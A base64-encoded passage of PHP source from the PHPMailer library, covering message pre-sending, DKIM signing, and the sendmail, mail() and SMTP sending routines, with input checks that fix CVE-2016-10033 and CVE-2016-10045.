ICAgICAgICAgfQoKICAgICAgICAgICAgJHRoaXMtPnNldE1lc3NhZ2VUeXBlKCk7CiAgICAgICAgICAgIC8vIFJlZnVzZSB0byBzZW5kIGFuIGVtcHR5IG1lc3NhZ2UgdW5sZXNzIHdlIGFyZSBzcGVjaWZpY2FsbHkgYWxsb3dpbmcgaXQKICAgICAgICAgICAgaWYgKCEkdGhpcy0+QWxsb3dFbXB0eSBhbmQgZW1wdHkoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdlbXB0eV9tZXNzYWdlJyksIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBDcmVhdGUgYm9keSBiZWZvcmUgaGVhZGVycyBpbiBjYXNlIGJvZHkgbWFrZXMgY2hhbmdlcyB0byBoZWFkZXJzIChlLmcuIGFsdGVyaW5nIHRyYW5zZmVyIGVuY29kaW5nKQogICAgICAgICAgICAkdGhpcy0+TUlNRUhlYWRlciA9ICcnOwogICAgICAgICAgICAkdGhpcy0+TUlNRUJvZHkgPSAkdGhpcy0+Y3JlYXRlQm9keSgpOwogICAgICAgICAgICAvLyBjcmVhdGVCb2R5IG1heSBoYXZlIGFkZGVkIHNvbWUgaGVhZGVycywgc28gcmV0YWluIHRoZW0KICAgICAgICAgICAgJHRlbXBoZWFkZXJzID0gJHRoaXMtPk1JTUVIZWFkZXI7CiAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyID0gJHRoaXMtPmNyZWF0ZUhlYWRlcigpOwogICAgICAgICAgICAkdGhpcy0+TUlNRUhlYWRlciAuPSAkdGVtcGhlYWRlcnM7CgogICAgICAgICAgICAvLyBUbyBjYXB0dXJlIHRoZSBjb21wbGV0ZSBtZXNzYWdlIHdoZW4gdXNpbmcgbWFpbCgpLCBjcmVhdGUKICAgICAgICAgICAgLy8gYW4gZXh0cmEgaGVhZGVyIGxpc3Qgd2hpY2ggY3JlYXRlSGVhZGVyKCkgZG9lc24ndCBmb2xkIGluCiAgICAgICAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdtYWlsJykgewogICAgICAgICAgICAgICAgaWYgKGNvdW50KCR0aGlzLT50bykgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmFkZHJBcHBlbmQoJ1RvJywgJHRoaXMtPnRvKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1RvJywgJ3VuZGlzY2xvc2VkLXJlY2lwaWVudHM6OycpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmhlYWRlckxpbmUoCiAgICAgICAgICAgICAgICAgICAgJ1N1YmplY3QnLAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcih0cmltKCR0aGlzLT5TdWJqZWN0KSkpCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBTaWduIHdpdGggREtJTSBpZiBlbmFibGVkCiAgICAgICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkRLSU1fZG9tYWluKQogICAgICAgICAgICAgICAgYW5kICFlbXB0eSgkdGhpcy0+REtJTV9zZWxlY3RvcikKICAgICAgICAgICAgICAgIGFuZCAoIWVtcHR5KCR0aGlzLT5ES0lNX3ByaXZhdGVfc3RyaW5nKQogICAgICAgICAgICAgICAgICAgIG9yICghZW1wdHkoJHRoaXMtPkRLSU1fcHJpdmF0ZSkKICAgICAgICAgICAgICAgICAgICAgICAgYW5kIHNlbGY6OmlzUGVybWl0dGVkUGF0aCgkdGhpcy0+REtJTV9wcml2YXRlKQogICAgICAgICAgICAgICAgICAgICAgICBhbmQgZmlsZV9leGlzdHMoJHRoaXMtPkRLSU1fcHJpdmF0ZSkKICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgJGhlYWRlcl9ka2ltID0gJHRoaXMtPkRLSU1fQWRkKAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyIC4gJHRoaXMtPm1haWxIZWFkZXIsCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCR0aGlzLT5TdWJqZWN0KSksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPk1JTUVCb2R5CiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgJHRoaXMtPk1JTUVIZWFkZXIgPSBydHJpbSgkdGhpcy0+TUlNRUhlYWRlciwgIlxyXG4gIikgLiBzZWxmOjpDUkxGIC4KICAgICAgICAgICAgICAgICAgICBzdHJfcmVwbGFjZSgiXHJcbiIsICJcbiIsICRoZWFkZXJfZGtpbSkgLiBzZWxmOjpDUkxGOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93ICRleGM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIEFjdHVhbGx5IHNlbmQgYSBtZXNzYWdlLgogICAgICogU2VuZCB0aGUgZW1haWwgdmlhIHRoZSBzZWxlY3RlZCBtZWNoYW5pc20KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHBvc3RTZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAvLyBDaG9vc2UgdGhlIG1haWxlciBhbmQgc2VuZCB0aHJvdWdoIGl0CiAgICAgICAgICAgIHN3aXRjaCAoJHRoaXMtPk1haWxlcikgewogICAgICAgICAgICAgICAgY2FzZSAnc2VuZG1haWwnOgogICAgICAgICAgICAgICAgY2FzZSAncW1haWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c2VuZG1haWxTZW5kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICAgICAgICAgY2FzZSAnc210cCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5zbXRwU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsKICAgICAgICAgICAgICAgIGNhc2UgJ21haWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+bWFpbFNlbmQoJHRoaXMtPk1JTUVIZWFkZXIsICR0aGlzLT5NSU1FQm9keSk7CiAgICAgICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgICAgICRzZW5kTWV0aG9kID0gJHRoaXMtPk1haWxlci4nU2VuZCc7CiAgICAgICAgICAgICAgICAgICAgaWYgKG1ldGhvZF9leGlzdHMoJHRoaXMsICRzZW5kTWV0aG9kKSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPiRzZW5kTWV0aG9kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5tYWlsU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsKICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCRleGMtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgJGV4YzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1haWwgdXNpbmcgdGhlICRTZW5kbWFpbCBwcm9ncmFtLgogICAgICogQHBhcmFtIHN0cmluZyAkaGVhZGVyIFRoZSBtZXNzYWdlIGhlYWRlcnMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgVGhlIG1lc3NhZ2UgYm9keQogICAgICogQHNlZSBQSFBNYWlsZXI6OiRTZW5kbWFpbAogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNlbmRtYWlsU2VuZCgkaGVhZGVyLCAkYm9keSkKICAgIHsKICAgICAgICAvLyBDVkUtMjAxNi0xMDAzMywgQ1ZFLTIwMTYtMTAwNDU6IERvbid0IHBhc3MgLWYgaWYgY2hhcmFjdGVycyB3aWxsIGJlIGVzY2FwZWQuCiAgICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+U2VuZGVyKSBhbmQgc2VsZjo6aXNTaGVsbFNhZmUoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgPT0gJ3FtYWlsJykgewogICAgICAgICAgICAgICAgJHNlbmRtYWlsRm10ID0gJyVzIC1mJXMnOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHNlbmRtYWlsRm10ID0gJyVzIC1vaSAtZiVzIC10JzsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdxbWFpbCcpIHsKICAgICAgICAgICAgICAgICRzZW5kbWFpbEZtdCA9ICclcyc7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkc2VuZG1haWxGbXQgPSAnJXMgLW9pIC10JzsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gVE9ETzogSWYgcG9zc2libGUsIHRoaXMgc2hvdWxkIGJlIGNoYW5nZWQgdG8gZXNjYXBlc2hlbGxhcmcuICBOZWVkcyB0aG9yb3VnaCB0ZXN0aW5nLgogICAgICAgICRzZW5kbWFpbCA9IHNwcmludGYoJHNlbmRtYWlsRm10LCBlc2NhcGVzaGVsbGNtZCgkdGhpcy0+U2VuZG1haWwpLCAkdGhpcy0+U2VuZGVyKTsKCiAgICAgICAgaWYgKCR0aGlzLT5TaW5nbGVUbykgewogICAgICAgICAgICBmb3JlYWNoICgkdGhpcy0+U2luZ2xlVG9BcnJheSBhcyAkdG9BZGRyKSB7CiAgICAgICAgICAgICAgICBpZiAoIUAkbWFpbCA9IHBvcGVuKCRzZW5kbWFpbCwgJ3cnKSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmcHV0cygkbWFpbCwgJ1RvOiAnIC4gJHRvQWRkciAuICJcbiIpOwogICAgICAgICAgICAgICAgZnB1dHMoJG1haWwsICRoZWFkZXIpOwogICAgICAgICAgICAgICAgZnB1dHMoJG1haWwsICRib2R5KTsKICAgICAgICAgICAgICAgICRyZXN1bHQgPSBwY2xvc2UoJG1haWwpOwogICAgICAgICAgICAgICAgJHRoaXMtPmRvQ2FsbGJhY2soCiAgICAgICAgICAgICAgICAgICAgKCRyZXN1bHQgPT0gMCksCiAgICAgICAgICAgICAgICAgICAgYXJyYXkoJHRvQWRkciksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmNjLAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5iY2MsCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlN1YmplY3QsCiAgICAgICAgICAgICAgICAgICAgJGJvZHksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPkZyb20KICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBpZiAoJHJlc3VsdCAhPSAwKSB7CiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXhlY3V0ZScpIC4gJHRoaXMtPlNlbmRtYWlsLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICghQCRtYWlsID0gcG9wZW4oJHNlbmRtYWlsLCAndycpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdleGVjdXRlJykgLiAkdGhpcy0+U2VuZG1haWwsIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZwdXRzKCRtYWlsLCAkaGVhZGVyKTsKICAgICAgICAgICAgZnB1dHMoJG1haWwsICRib2R5KTsKICAgICAgICAgICAgJHJlc3VsdCA9IHBjbG9zZSgkbWFpbCk7CiAgICAgICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKAogICAgICAgICAgICAgICAgKCRyZXN1bHQgPT0gMCksCiAgICAgICAgICAgICAgICAkdGhpcy0+dG8sCiAgICAgICAgICAgICAgICAkdGhpcy0+Y2MsCiAgICAgICAgICAgICAgICAkdGhpcy0+YmNjLAogICAgICAgICAgICAgICAgJHRoaXMtPlN1YmplY3QsCiAgICAgICAgICAgICAgICAkYm9keSwKICAgICAgICAgICAgICAgICR0aGlzLT5Gcm9tCiAgICAgICAgICAgICk7CiAgICAgICAgICAgIGlmICgkcmVzdWx0ICE9IDApIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgLyoqCiAgICAgKiBGaXggQ1ZFLTIwMTYtMTAwMzMgYW5kIENWRS0yMDE2LTEwMDQ1IGJ5IGRpc2FsbG93aW5nIHBvdGVudGlhbGx5IHVuc2FmZSBzaGVsbCBjaGFyYWN0ZXJzLgogICAgICoKICAgICAqIE5vdGUgdGhhdCBlc2NhcGVzaGVsbGFyZyBhbmQgZXNjYXBlc2hlbGxjbWQgYXJlIGluYWRlcXVhdGUgZm9yIG91ciBwdXJwb3NlcywgZXNwZWNpYWxseSBvbiBXaW5kb3dzLgogICAgICogQHBhcmFtIHN0cmluZyAkc3RyaW5nIFRoZSBzdHJpbmcgdG8gYmUgdmFsaWRhdGVkCiAgICAgKiBAc2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9QSFBNYWlsZXIvUEhQTWFpbGVyL2lzc3Vlcy85MjQgQ1ZFLTIwMTYtMTAwNDUgYnVnIHJlcG9ydAogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwcm90ZWN0ZWQgc3RhdGljIGZ1bmN0aW9uIGlzU2hlbGxTYWZlKCRzdHJpbmcpCiAgICB7CiAgICAgICAgLy8gRnV0dXJlLXByb29mCiAgICAgICAgaWYgKGVzY2FwZXNoZWxsY21kKCRzdHJpbmcpICE9PSAkc3RyaW5nCiAgICAgICAgICAgIG9yICFpbl9hcnJheShlc2NhcGVzaGVsbGFyZygkc3RyaW5nKSwgYXJyYXkoIickc3RyaW5nJyIsICJcIiRzdHJpbmdcIiIpKQogICAgICAgICkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQoKICAgICAgICAkbGVuZ3RoID0gc3RybGVuKCRzdHJpbmcpOwoKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgICAgICRjID0gJHN0cmluZ1skaV07CgogICAgICAgICAgICAvLyBBbGwgb3RoZXIgY2hhcmFjdGVycyBoYXZlIGEgc3BlY2lhbCBtZWFuaW5nIGluIGF0IGxlYXN0IG9uZSBjb21tb24gc2hlbGwsIGluY2x1ZGluZyA9IGFuZCArLgogICAgICAgICAgICAvLyBGdWxsIHN0b3AgKC4pIGhhcyBhIHNwZWNpYWwgbWVhbmluZyBpbiBjbWQuZXhlLCBidXQgaXRzIGltcGFjdCBzaG91bGQgYmUgbmVnbGlnaWJsZSBoZXJlLgogICAgICAgICAgICAvLyBOb3RlIHRoYXQgdGhpcyBkb2VzIHBlcm1pdCBub24tTGF0aW4gYWxwaGFudW1lcmljIGNoYXJhY3RlcnMgYmFzZWQgb24gdGhlIGN1cnJlbnQgbG9jYWxlLgogICAgICAgICAgICBpZiAoIWN0eXBlX2FsbnVtKCRjKSAmJiBzdHJwb3MoJ0BfLS4nLCAkYykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8qKgogICAgICogQ2hlY2sgd2hldGhlciBhIGZpbGUgcGF0aCBpcyBvZiBhIHBlcm1pdHRlZCB0eXBlLgogICAgICogVXNlZCB0byByZWplY3QgVVJMcyBhbmQgcGhhciBmaWxlcyBmcm9tIGZ1bmN0aW9ucyB0aGF0IGFjY2VzcyBsb2NhbCBmaWxlIHBhdGhzLAogICAgICogc3VjaCBhcyBhZGRBdHRhY2htZW50LgogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBBIHJlbGF0aXZlIG9yIGFic29sdXRlIHBhdGggdG8gYSBmaWxlLgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHByb3RlY3RlZCBzdGF0aWMgZnVuY3Rpb24gaXNQZXJtaXR0ZWRQYXRoKCRwYXRoKQogICAgewogICAgICAgIHJldHVybiAhcHJlZ19tYXRjaCgnI15bYS16XSs6Ly8jaScsICRwYXRoKTsKICAgIH0KCiAgICAvKioKICAgICAqIFNlbmQgbWFpbCB1c2luZyB0aGUgUEhQIG1haWwoKSBmdW5jdGlvbi4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGhlYWRlciBUaGUgbWVzc2FnZSBoZWFkZXJzCiAgICAgKiBAcGFyYW0gc3RyaW5nICRib2R5IFRoZSBtZXNzYWdlIGJvZHkKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vYm9vay5tYWlsLnBocAogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIG1haWxTZW5kKCRoZWFkZXIsICRib2R5KQogICAgewogICAgICAgICR0b0FyciA9IGFycmF5KCk7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnRvIGFzICR0b2FkZHIpIHsKICAgICAgICAgICAgJHRvQXJyW10gPSAkdGhpcy0+YWRkckZvcm1hdCgkdG9hZGRyKTsKICAgICAgICB9CiAgICAgICAgJHRvID0gaW1wbG9kZSgnLCAnLCAkdG9BcnIpOwoKICAgICAgICAkcGFyYW1zID0gbnVsbDsKICAgICAgICAvL1RoaXMgc2V0cyB0aGUgU01UUCBlbnZlbG9wZSBzZW5kZXIgd2hpY2ggZ2V0cyB0dXJuZWQgaW50byBhIHJldHVybi1wYXRoIGhlYWRlciBieSB0aGUgcmVjZWl2ZXIKICAgICAgICBpZiAoIWVtcHR5KCR0aGlzLT5TZW5kZXIpIGFuZCAkdGhpcy0+dmFsaWRhdGVBZGRyZXNzKCR0aGlzLT5TZW5kZXIpKSB7CiAgICAgICAgICAgIC8vIENWRS0yMDE2LTEwMDMzLCBDVkUtMjAxNi0xMDA0NTogRG9uJ3QgcGFzcyAtZiBpZiBjaGFyYWN0ZXJzIHdpbGwgYmUgZXNjYXBlZC4KICAgICAgICAgICAgaWYgKHNlbGY6OmlzU2hlbGxTYWZlKCR0aGlzLT5TZW5kZXIpKSB7CiAgICAgICAgICAgICAgICAkcGFyYW1zID0gc3ByaW50ZignLWYlcycsICR0aGlzLT5TZW5kZXIpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPlNlbmRlcikgYW5kICFpbmlfZ2V0KCdzYWZlX21vZGUnKSBhbmQgJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkdGhpcy0+U2VuZGVyKSkgewogICAgICAgICAgICAkb2xkX2Zyb20gPSBpbmlfZ2V0KCdzZW5kbWFpbF9mcm9tJyk7CiAgICAgICAgICAgIGluaV9zZXQoJ3NlbmRtYWlsX2Zyb20nLCAkdGhpcy0+U2VuZGVyKTsKICAgICAgICB9CiAgICAgICAgJHJlc3VsdCA9IGZhbHNlOwogICAgICAgIGlmICgkdGhpcy0+U2luZ2xlVG8gYW5kIGNvdW50KCR0b0FycikgPiAxKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCR0b0FyciBhcyAkdG9BZGRyKSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPm1haWxQYXNzdGhydSgkdG9BZGRyLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICRoZWFkZXIsICRwYXJhbXMpOwogICAgICAgICAgICAgICAgJHRoaXMtPmRvQ2FsbGJhY2soJHJlc3VsdCwgYXJyYXkoJHRvQWRkciksICR0aGlzLT5jYywgJHRoaXMtPmJjYywgJHRoaXMtPlN1YmplY3QsICRib2R5LCAkdGhpcy0+RnJvbSk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPm1haWxQYXNzdGhydSgkdG8sICR0aGlzLT5TdWJqZWN0LCAkYm9keSwgJGhlYWRlciwgJHBhcmFtcyk7CiAgICAgICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKCRyZXN1bHQsICR0aGlzLT50bywgJHRoaXMtPmNjLCAkdGhpcy0+YmNjLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICR0aGlzLT5Gcm9tKTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCRvbGRfZnJvbSkpIHsKICAgICAgICAgICAgaW5pX3NldCgnc2VuZG1haWxfZnJvbScsICRvbGRfZnJvbSk7CiAgICAgICAgfQogICAgICAgIGlmICghJHJlc3VsdCkgewogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdpbnN0YW50aWF0ZScpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgYW4gaW5zdGFuY2UgdG8gdXNlIGZvciBTTVRQIG9wZXJhdGlvbnMuCiAgICAgKiBPdmVycmlkZSB0aGlzIGZ1bmN0aW9uIHRvIGxvYWQgeW91ciBvd24gU01UUCBpbXBsZW1lbnRhdGlvbgogICAgICogQHJldHVybiBTTVRQCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRTTVRQSW5zdGFuY2UoKQogICAgewogICAgICAgIGlmICghaXNfb2JqZWN0KCR0aGlzLT5zbXRwKSkgewogICAgICAgICAgICAkdGhpcy0+c210cCA9IG5ldyBTTVRQOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHRoaXMtPnNtdHA7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1haWwgdmlhIFNNVFAuCiAgICAgKiBSZXR1cm5zIGZhbHNlIGlmIHRoZXJlIGlzIGEgYmFkIE1BSUwgRlJPTSwgUkNQVCwgb3IgREFUQSBpbnB1dC4KICAgICAqIFVzZXMgdGhlIFBIUE1haWxlclNNVFAgY2xhc3MgYnkgZGVmYXVsdC4KICAgICAqIEBzZWUgUEhQTWFpbGVyOjpnZXRTTVRQSW5zdGFuY2UoKSB0byB1c2UgYSBkaWZmZXJlbnQgY2xhc3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRoZWFkZXIgVGhlIG1lc3NhZ2UgaGVhZGVycwogICAgICogQHBhcmFtIHN0cmluZyAkYm9keSBUaGUgbWVzc2FnZSBib2R5CiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHVzZXMgU01UUAogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gc210cFNlbmQoJGhlYWRlciwgJGJvZHkpCiAgICB7CiAgICAgICAgJGJhZF9yY3B0ID0gYXJyYXkoKTsKICAgICAgICBpZiAoISR0aGlzLT5zbXRwQ29ubmVjdCgkdGhpcy0+U01UUE9wdGlvbnMpKSB7CiAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3NtdHBfY29ubmVjdF9mYWlsZWQnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgfQogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPlNlbmRlcikgYW5kICR0aGlzLT52YWxpZGF0ZUFkZHJlc3MoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgJHNtdHBfZnJvbSA9ICR0aGlzLT5TZW5kZXI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHNtdHBfZnJvbSA9ICR0aGlzLT5Gcm9tOwogICAgICAgIH0KICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5tYWlsKCRzbXRwX2Zyb20pKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZnJvbV9mYWlsZWQnKSAuICRzbXRwX2Zyb20gLiAnIDogJyAuIGltcGxvZGUoJywnLCAkdGhpcy0+c210cC0+Z2V0RXJyb3IoKSkpOwogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5FcnJvckluZm8sIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgIH0KCiAgICAgICAgLy8gQXR0ZW1wdCB0byBzZW5kIHRvIGFsbCByZWNpcGllbnRzCiAgICAgICAgZm9yZWFjaCAoYXJyYXkoJHRoaXMtPnRvLCAkdGhpcy0+Y2MsICR0aGlzLT5iY2MpIGFzICR0b2dyb3VwKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCR0b2dyb3VwIGFzICR0bykgewogICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+c210cC0+cmVjaXBpZW50KCR0b1swXSkpIHsKICAgICAgICAgICAgICAgICAgICAkZXJyb3IgPSAkdGhpcy0+c210cC0+Z2V0RXJyb3IoKTsKICAgICAgICAgICAgICAgICAgICAkYmFkX3JjcHRbXSA9IGFycmF5KCd0bycgPT4gJHRvWzBdLCAnZXJyb3InID0+ICRlcnJvclsnZGV0YWlsJ10pOwogICAgICAgICAgICAgICAgICAgICRpc1NlbnQgPSBmYWxzZTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJGlzU2VudCA9IHRydWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkdGhpcy0+ZG9DYWxsYmFjaygkaXNTZW50LCBhcnJheSgkdG9bMF0pLCBhcnJheSgpLCBhcnJheSgpLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICR0aGlzLT5Gcm9tKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gT25seSBzZW5kIHRoZSBEQVRBIGNvbW1hbmQgaWYgd2UgaGF2ZSB2aWFibGUgcmVjaXBpZW50cwogICAgICAgIGlmICgoY291bnQoJHRoaXMtPmFsbF9yZWNpcGllbnRzKSA+IGNvdW50KCRiYWRfcmNwdCkpIGFuZCAhJHRoaXMtPnNtdHAtPmRhdGEoJGhlYWRlciAuICRib2R5KSkgewogICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdkYXRhX25vdF9hY2NlcHRlZCcpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5TTVRQS2VlcEFsaXZlKSB7CiAgICAgIC